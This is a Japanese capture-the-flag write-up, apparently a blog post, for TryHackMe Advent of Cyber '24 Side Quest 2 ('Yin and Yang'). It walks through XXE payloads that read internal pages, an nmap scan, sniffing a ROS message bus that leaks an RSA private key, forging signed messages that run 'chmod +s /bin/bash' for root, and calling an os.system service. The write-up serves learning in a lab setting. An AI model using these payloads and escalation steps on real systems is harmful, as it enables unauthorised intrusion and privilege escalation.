[TryHackMe] Advent of Cyber '24 — Side Quest 2: T2: Yin and Yang [Writeup]

![000.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/34d6b57a-37f4-e097-3c30-54adfb7c2a94.png)

TryHackMeで開催されたAdbent of Cyber '24のSide QuestのWriteupです。
筆者はセキュリティ勉強歴3ヵ月弱の初心者ハッカーです。
イベントに参加した記録として初めてWriteupを書いてみます。
すべての問題を自力で解いたわけではないことと、他の方の解法を参考にしている箇所があることをご承知おきください。

# T2 Keycard
T2 KeycardはMain QuestのDay5から見つけられます。
Day5のテーマは**XXE**(**外部実態参照**)です。

内部サービスが動いているか調べると8080番ポートでApacheが動いているようです。
```xml:XXE payload
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080"> ]>
<wishlist>
 <user_id>1</user_id>
 <item>
  <product_id>
   &payload;
  </product_id>
 </item>
</wishlist>
```
![001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/28ea7b94-6753-bad8-d0f1-857351be5b8a.png)
これをbase64でデコードすると、`/access.log`というページがあるようです。
見に行ってみましょう。
```xml:XXE payload
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/access.log"> ]>
<wishlist>
 <user_id>1</user_id>
 <item>
  <product_id>
   &payload;
  </product_id>
 </item>
</wishlist>
```
![002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/2abf27a1-5545-394d-4afd-83bfd2eb1372.png)
base64でデコードすると、`/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png`なるページにGETをリクエストするログがありました。
`http://MACHINE_IP/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png`にアクセスすると、T2 Keycardが得られました。
![003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/bebdb74d-85ae-852e-5098-263a75fb8f4d.png)

# Yin and Yang
マシンはYinとYangの二台あります。
同時に２台起動しましょう。

## Break Firewall
nmapを行います。
```terminal: console
$ nmap -sC -sV -A -p- -Pn -T4 --min-rate 5000 -v -oN nmap 10.10.153.234
# Nmap 7.94SVN scan initiated Fri Dec  6 09:55:57 2024 as: /usr/lib/nmap/nmap --privileged -sC -sV -A -p- -Pn -T4 --min-rate 5000 -v -oN nmap 10.10.153.234
Nmap scan report for 10.10.153.234
Host is up (0.27s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21337/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.10)
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-title: Your Files Have Been Encrypted
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 40.364 days (since Sun Oct 27 01:12:39 2024)
Network Distance: 5 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 21337/tcp)
HOP RTT       ADDRESS
1   142.79 ms 10.17.0.1
2   ... 4
5   269.69 ms 10.10.153.234

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec  6 09:56:49 2024 -- 1 IP address (1 host up) scanned in 51.77 seconds

```
21337番ポートが空いているので見に行きます。
![004.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/8e2fa6fb-8b61-c620-99c5-408fe621925a.png)
`Decryption Key`にT2 Keycardのコードを入力することで、firewallを解除しssh接続ができるようになります。

:::note warn
注意
firewallを解除する前にssh接続を行うと、firewall解除後もssh接続できなくなることがあります。
その場合はマシンを起動しなおしてください。
:::
Yin側、Yang側両方でそれぞれfirewallを解除しssh接続をします。

## Establish ROS Connection
Yin側で`sudo -l`を実行してみます。
```terminal
yin $ sudo -l
Matching Defaults entries for yin on ip-10-10-43-25:
    mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, always_set_home

User yin may run the following commands on ip-10-10-43-25:
    (root) NOPASSWD: /catkin_ws/yin.sh
```
`/catkin_ws/yin.sh`を見てみます。
```terminal
yin $ cat /catkin_ws/yin.sh
#!/usr/bin/bash

source /opt/ros/noetic/setup.bash
source /catkin_ws/devel/setup.bash

rosrun yin runyin.py
```
`/catkin_ws/src/yin/scripts`以下に`runyin.py`があるので見てみると、ROSを用いた通信をYingと行うスクリプトのようです。

Yang側でも同じようなスクリプトが`/catkin_ws/sec/yang/scripts/runyang.py`としてあります。
どちらもsudoでroot権限で動かせるので、これを利用してフラグを取りに行きます。

問題の説明文にあるようにYinとYangはROSで通信を行います。

https://qiita.com/srs/items/7d4aeb5e44138f97c770

この記事が参考になりました。
片方をmaster、もう一方をslaveとする必要があるので、今回はYinをmaster、Yangをslaveとすることにします。

まずYin、Yang両側でで環境変数の設定を行います。
```terminal
yin $ export ROS_MASTER_URI=http://<YIN_IP>:11311
yin $ export ROS_IP=<YIN_IP>
```
```terminal
yang $ export ROS_MASTER_URI=http://<YIN_IP>:11311
yang $ export ROS_IP=<YANG_IP>
```
YinとYangを間違えないように気を付けてください。

環境変数設定が出来たら、master側であるYin側でrosを起動します。
```terminal
yin $ roscore
```
`roscore`を実行したら、新しいターミナルからYinにssh接続します。
最終的にはYin側で3つ、Yang側で2つの合計5つのssh接続のターミナルが必要になります。

新しく開いたYin側のターミナルで`yin.sh`を実行してみます。
```terminal
yin $ sudo /catkin_ws/yin.sh
```
エラーが表示されなければ正常です。

今度は、Yang側のターミナルから`yang.sh`を実行してみます。
```terminal
yang $ sudo /catkin_ws/yang.sh
```
すると以下のようなエラーが発生します。
```terminal
[ERROR] [1735813233.857662]: Unable to immediately register with master node [http://localhost:11311]: master may not be running yet. Will keep trying.
```
`ROS_MASTER_URI`を設定しましたが、`yang.sh`を実行した際にはmasterとして`localhost`が参照されているようです。

ここで`/etc/hosts`を見てみると、なんと`writeable`になっていました。
```terminal
yang $ ls -l /etc/hosts
-rwxrwxrwx 1 root root 221 Nov 28 21:38 /etc/hosts
```
ということで`/etc/hosts`を編集して`<YIN_IP> localhost`としておきます。
この状態でYang側で`yang.sh'を実行すると以下のようになります。
```terminal
yang $ sudo /catkin_ws/yang.sh
Time difference is acceptable to answer message and not a replay
Time difference is acceptable to answer message and not a replay
Time difference is acceptable to answer message and not a replay
...
```
YinとYangの間でROSを使用した通信が成功したようです。

## Look for Vulnerabilities
`runyin.py`と`runyang.py`でどのような処理が行われているか確認します。
```python:runyin.py
#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yin.msg import Comms
from yin.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yin:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yin')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.command

        os.system(action)

        response = "Action performed"

        return response


    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())  

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
        message.actionparams = ['touch /home/yang/yin.txt']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message

    def send_pings(self):
        # Yang
        message = self.craft_ping("Yang")
        message = self.sign_message(message)
        self.messagebus.publish(message)

    def run_yin(self):
        while not rospy.is_shutdown():
            self.send_pings()
            self.prompt_rate.sleep()

if __name__ == '__main__':
    try:
        yin = Yin()
        yin.run_yin()

    except rospy.ROSInterruptException:
        pass
```
注目するのは`handle_yang_request()`です
```python
def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.command

        os.system(action)

        response = "Action performed"

        return response
```
`os.system(action)`が実行されています。
有効性の確認に用いられる`self.secret`は`__init__()`で読み込まれています。
```python
def __init__(self):

        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
        
        #[...]

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
```
つまり`/catkin_ws/secret.txt`を手に入れることができれば、`/svc_yang`というサービスを呼び出すことでYin側で任意のコマンドが実行できそうです。

次に`runyang.py`を見てみます。
```python:runyang.py
#!/usr/bin/python3

import rospy
import base64
import codecs
import os
from std_msgs.msg import String
from yang.msg import Comms
from yang.srv import yangrequest
import hashlib
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Hash import SHA256

class Yang:
    def __init__(self):
        
        self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


        #Read the message channel private key
        pwd = b'secret'
        with open('/catkin_ws/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yang')

        self.prompt_rate = rospy.Rate(0.5)

        #Read the service secret
        with open('/catkin_ws/secret.txt', 'r') as f:
            data = f.read()
            self.secret = data.replace('\n','')

        rospy.Subscriber('messagebus', Comms, self.callback)

    def callback(self, data):
        #First check to do is see if this is a message for us and one we need to respond to
        if (data.receiver != "Yang"):
            return

        #Now we know the message is for us. We can start system checks to see if it is a valid message
        if (not self.validate_message(data)):
            print ("Message could not be validated")
            return

        #Now we can action the message and send a reply
        for action in data.actionparams:
            os.system(action)

        #Now request an action from Yin
        self.yin_request()

        #Send reply
        reply = Comms()
        reply.timestamp = str(rospy.get_time())
        reply.sender = "Yang"
        reply.receiver = "Yin"
        reply.action = 2
        reply.actionparams = []
        reply.actionparams.append(self.priv_key_str)
        reply.feedback = "Action Done"
        reply.hmac = ""

        reply = self.sign_message(reply)

        self.messagebus.publish(reply)

    def validate_message(self, message):
        valid = True
        #Only accept messages from the allfather
        if (message.sender != "Yin"):
            valid = False
            print ("Message is not from Yin")
            return valid

        #First we need to validate the timestamp. The difference should not be bigger than threshold
        current_time = str(rospy.get_time())
        current_time_sec = int(current_time.split('.')[0])
        current_time_nsec = int(current_time.split('.')[1])
        message_time_sec = int(message.timestamp.split('.')[0])
        message_time_nsec = int(message.timestamp.split('.')[1])

        second_diff = current_time_sec - message_time_sec
        nsecond_diff = current_time_nsec - message_time_nsec

        if (second_diff <= 1):
            print ("Time difference is acceptable to answer message and not a replay")
        else:
            print ("Message is a replay and should be discarded")
            valid = False
            return valid
            # Here we want to respond and say that time is not acceptable thus regarded as replay

        #Now we need to validate the signature
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()

        if (message.hmac != sig):
            print ("Signature verification failed")
            valid = False
            # Respond and say signature failed

        return valid

    def yin_request(self):
        resp = ""
        rospy.wait_for_service('svc_yang')
        try:
            service = rospy.ServiceProxy('svc_yang', yangrequest)
            response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
        except rospy.ServiceException as e:
            print ("Failed: %s"%e)
        resp = response.response
        return resp


    def handle_yang_request(self, req):
        # Check secret first
        if req.secret != self.secret:
            return "Secret not valid"

        sender = req.sender
        receiver = req.receiver
        action = req.action

        os.system(action)

        response = "Action performed"

        return response

    def getBase64(self, message):
        hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
        hmac += "."
        hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
        return hmac

    def getSHA(self, hmac):
        m = hashlib.sha256()
        m.update(hmac.encode())
        return str(m.hexdigest())  

    #This function will craft the signature for the message based on the specific system being talked to
    def sign_message(self, message):
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()
        message.hmac = sig
        return message

    def run_yang(self):
        rospy.spin()

if __name__ == '__main__':
    try:
        yang = Yang()
        yang.run_yang()

    except rospy.ROSInterruptException:
        pass
```
`runyang.py`には任意のコマンドが実行できそうな箇所が2つあります。
`callback()`と`handle_yang_request()`です。

`handle_yang_request()`では`runyin.py`と同様、`/catkin_ws/secret.txt`が必要となりますが、`callbadk()`内で行われるバリデーションには`self.priv_key`を用いているようです。
```python
def callback(self, data):
        #First check to do is see if this is a message for us and one we need to respond to
        if (data.receiver != "Yang"):
            return

        #Now we know the message is for us. We can start system checks to see if it is a valid message
        if (not self.validate_message(data)):
            print ("Message could not be validated")
            return

        #Now we can action the message and send a reply
        for action in data.actionparams:
            os.system(action)

        # [...]

        self.messagebus.publish(reply)
```

```python
def validate_message(self, message):
        valid = True
        #Only accept messages from the allfather
        if (message.sender != "Yin"):
            valid = False
            print ("Message is not from Yin")
            return valid

        # [...]

        #Now we need to validate the signature
        hmac = self.getBase64(message)
        hmac = SHA256.new(hmac.encode('utf-8'))
        signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
        sig = base64.b64encode(signature).decode()

        if (message.hmac != sig):
            print ("Signature verification failed")
            valid = False
            # Respond and say signature failed

        return valid
```
`self.priv_key`は`__init__()`内で`/catkin_ws/privatekey.pem`から読み込まれています。
つまり`/catkin_ws/privatekey.pem`を手に入れることができれば、YinからYangへのメッセージを偽装しYang側で任意のコードが実行できそうです。

ここで`callback()`をよく見ると`/catkin_ws/privatekey.pem`を`self.priv_key_str`として平文で送信しています。
```python
def callback(self, data):
        # [...]

        #Send reply
        reply = Comms()
        reply.timestamp = str(rospy.get_time())
        reply.sender = "Yang"
        reply.receiver = "Yin"
        reply.action = 2
        reply.actionparams = []
        reply.actionparams.append(self.priv_key_str)
        reply.feedback = "Action Done"
        reply.hmac = ""

        reply = self.sign_message(reply)

        self.messagebus.publish(reply)
```
通信の中身を見ることができれば、`/catkin_ws/privatekey.pem`が手に入りそうです。

## Get Confidential Information
`runyin.py`と`runyang.py`によると、通信は`/messagebus`というトピックを通じて行われているようです。

YinとYangそれぞれのターミナルを以下の状態にして、`rostopic`を見てみましょう。
- Yin
    - roscore
    - sudo /catkin_ws/yin.sh
    - rostopic
- Yang
    - sudo /catkin_ws/yang.sh
    - rostopic

```terminal
yin/yang $ rostopic list
/messagebus
/rosout
/rosout_agg
```
YinとYangの両方で`/messagebus`でやり取りしている情報を見てみます。
```terminal
yin/yang $ rostopic echo /messagebus
```
YangからYinにRSAの秘密鍵が送信されているのが確認できました。
![005.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/2438253b-e00e-d96a-e6d3-dcf1750b89cc.png)

これを`/tmp/privatekey.pem`として保存しておきます。

この秘密鍵を利用してYinからYangへ通信を送ればYang側で任意のコマンドが実行できるはずです。

## Privilege Escalation
Yinの`runyin.py`を`/tmp/exploit.py`にコピーして書き換えます。
```terminal
yin $ cp /catkin_ws/src/yin/scripts/runyin.py /tmp/exploit.py
```
![006.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/4bbf579f-9eb2-d2be-e516-4fb21ac8b6d2.png)
秘密鍵の参照先を変更します。
```diff_python
pwd = b'secret'
-       with open('/catkin_ws/privatekey.pem', 'rb') as f:
+       with open('/tmp/privatekey.pem', 'rb') as f:
            data = f.read()
            self.priv_key = RSA.import_key(data,pwd)

        self.priv_key_str = self.priv_key.export_key().decode()

        rospy.init_node('yin')

        self.prompt_rate = rospy.Rate(0.5)
```

コピーした`exploit.py`には`/catkin_ws/secret.txt`を参照する権限がないので適当な文字列に変更しておきます。
```diff_python
- with open('/catkin_ws/secret.txt', 'r') as f:
-             data = f.read()
-             self.secret = data.replace('\n','')
+ self.secret = "test"
```

実行するコマンドを変更します。
```diff_python
def craft_ping(self, receiver):
        message = Comms()
        message.timestamp = str(rospy.get_time())
        message.sender = "Yin"
        message.receiver = receiver
        message.action = 1
-       message.actionparams = ['touch /home/yang/yin.txt']
+       message.actionparams = ['chmod +s /bin/bash']
        #message.actionparams.append(self.priv_key_str)
        message.feedback = "ACTION"
        message.hmac = ""
        return message
```
Yin側で`roscore`が実行されていることを確認して、エクスプロイトを実行します。
```terminal
yang $ sudo /catkin_ws/yang.sh
```
```terminal
yin $ python3 /tmp/exploit.py
```
Yang側で以下のメッセージが表示されていることを確認してください。
```
Time difference is acceptable to answer message and not a replay
```

攻撃が成功したかYangで確認します。
```terminal
yang $ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
yang $ /bin/bash -p
bash-5.0# id
uid=1002(yang) gid=1002(yang) euid=0(root) egid=0(root) groups=0(root),1002(yang)
```

これでYangのrootが取れました。
`yang.txt`は`/root`にあります。
```terminal
bash-5.0# cat /root/yang.txt 
THM{[...]}
```

また、root権限があるので`/catkin_ws/secret.txt`も手に入ります。
```terminal
bash-5.0# cat /catkin_ws/secret.txt
th[...]ss
```
`secret.txt`を使ってYinにサービスを実行させます。
Yin側で`yin.sh`を実行し、別のターミナルからサービスを呼び出します。
```terminal
yin $ sudo /catkin_ws/yin.sh
```
```terminal
yin $ rosservice call /svc_yang "{secret: 'th[...]ss', command: 'cat /root/yin.txt', sender: 'Yang', receiver: 'Yin'}"
```
`yin.sh`を実行したターミナルに`yin.txt`が表示されているはずです。
```terminal
yin $ sudo /catkin_ws/yin.sh 
THM{[...]}
```

# 参考
https://www.ros.org/

https://wiki.ros.org/ROS/Tutorials#:~:text=Core%20ROS%20Tutorials-,Beginner%20Level,-Installing%20and%20Configuring


# 最後に
ROSの通信を確立させるのが一番大変でした。
先入観から、まさか/etc/hostsが編集可能であるとは思いませんでした。
/messagebusの通信内容さえ見れてしまえば、そこから先は早いですね。

[Side Quest1](https://qiita.com/Vixmy/items/4d65ad05d137fa78a06e)
[Side Quest3](https://qiita.com/Vixmy/items/5a269e32e0cd4c566adb)
[Side Quest4]()(まだ)
[Side Quest5]()(まだ)